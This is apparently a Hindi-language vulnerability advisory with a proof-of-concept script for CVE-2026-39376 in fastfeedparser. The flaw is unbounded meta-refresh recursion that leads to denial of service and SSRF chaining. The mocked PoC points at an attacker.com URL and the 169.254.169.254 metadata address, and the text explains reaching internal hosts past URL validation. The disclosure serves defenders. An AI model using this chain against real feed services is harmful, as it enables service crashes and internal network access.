
CVE-2026-39376 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो fastfeedparser में मेटा-रिफ्रेश श्रृंखलाओं के माध्यम से अनंत रीडायरेक्ट लूप डिनायल-ऑफ-सर्विस का प्रदर्शन करता है, जिसमें SSRF चेनिंग की संभावना है।
CVE-2026-39376 (मेटा-रिफ्रेश श्रृंखला के माध्यम से अनंत रीडायरेक्ट लूप DoS)
जब parse() किसी URL को लाता है जो <meta http-equiv="refresh"> टैग वाला HTML पेज लौटाता है, तो यह रीडायरेक्ट URL के साथ स्वयं को पुनरावर्ती रूप से कॉल करता है — बिना किसी गहराई सीमा, बिना विज़िट किए गए URL की डीडुप्लिकेशन, और बिना किसी रीडायरेक्ट गणना कैप के। एक हमलावर-नियंत्रित सर्वर जो HTML मेटा-रिफ्रेश प्रतिक्रियाओं की अनंत श्रृंखला लौटाता है, असीमित पुनरावृत्ति का कारण बनता है, जिससे Python कॉल स्टैक समाप्त हो जाता है और प्रक्रिया क्रैश हो जाती है। यह भेद्यता प्रारंभिक URL जांच को बायपास करने के बाद आंतरिक नेटवर्क लक्ष्यों तक पहुंचने के लिए साथी SSRF समस्या के साथ भी जोड़ी जा सकती है।
parse() XML पार्स विफलता पर ValueError पकड़ता है, HTML प्रतिक्रिया से _extract_meta_refresh_url() के माध्यम से मेटा-रिफ्रेश URL निकालता है, और उस URL के साथ स्वयं को टेल-कॉल करता है। पुनरावर्ती कॉल बिना शर्त है — कोई अधिकतम रीडायरेक्ट गहराई नहीं है, पहले से विज़िट किए गए URL का कोई सेट नहीं है, और स्व-संदर्भित या लूपिंग रीडायरेक्ट के खिलाफ कोई सुरक्षा नहीं है।
fastfeedparser/main.py — parse() (पुनरावर्ती सिंक):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← बिना शर्त पुनरावृत्ति, कोई गहराई सीमा नहीं
_extract_meta_refresh_url() urljoin(base_url, match.group(1)) का उपयोग करता है, इसलिए content= विशेषता में सापेक्ष, प्रोटोकॉल-सापेक्ष (//host/path), और पूर्ण URL सभी का अनुसरण किया जाता है।
किसी लाइव सर्वर की आवश्यकता नहीं है। निम्नलिखित _fetch_url_content को अनंत HTML मेटा-रिफ्रेश श्रृंखला लौटाने के लिए मंकीपैच करता है और असीमित पुनरावृत्ति की पुष्टि करता है:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
प्रत्येक पुनरावर्ती कॉल एक वास्तविक HTTP अनुरोध (30 सेकंड टाइमआउट), HTML पार्सिंग, और Python स्टैक फ्रेम आवंटन करता है। Python की डिफ़ॉल्ट पुनरावृत्ति सीमा 1000 और प्रति-अनुरोध 30 सेकंड टाइमआउट के साथ, एक एकल हमलावर अनुरोध RecursionError उठाए जाने से पहले सर्वर थ्रेड को ~8 घंटे तक व्यस्त रख सकता है।
SSRF श्रृंखला प्रकार: पहली प्रतिक्रिया वैध HTML हो सकती है जो आंतरिक पते (http://192.168.1.1/) पर रीडायरेक्ट करती है, जिससे रीडायरेक्ट लूप उन लक्ष्यों के लिए SSRF बायपास के रूप में भी कार्य कर सकता है जो अन्यथा केवल प्रारंभिक URL पर लागू एप्लिकेशन-स्तरीय URL सत्यापन द्वारा अवरुद्ध होते।
यह एक सेवा-अस्वीकार भेद्यता है जिसका द्वितीयक SSRF-श्रृंखला प्रभाव है। कोई भी एप्लिकेशन जो उपयोगकर्ता-आपूर्ति किए गए फ़ीड URL स्वीकार करता है और fastfeedparser.parse() को कॉल करता है, प्रभावित होता है — जिसमें RSS एग्रीगेटर, फ़ीड पूर्वावलोकन सेवाएं, और "URL द्वारा सदस्यता लें" सुविधाएं शामिल हैं। बिना किसी प्रमाणीकरण के एक हमलावर यह कर सकता है:
RecursionError के माध्यम से वर्कर प्रक्रिया को क्रैश करें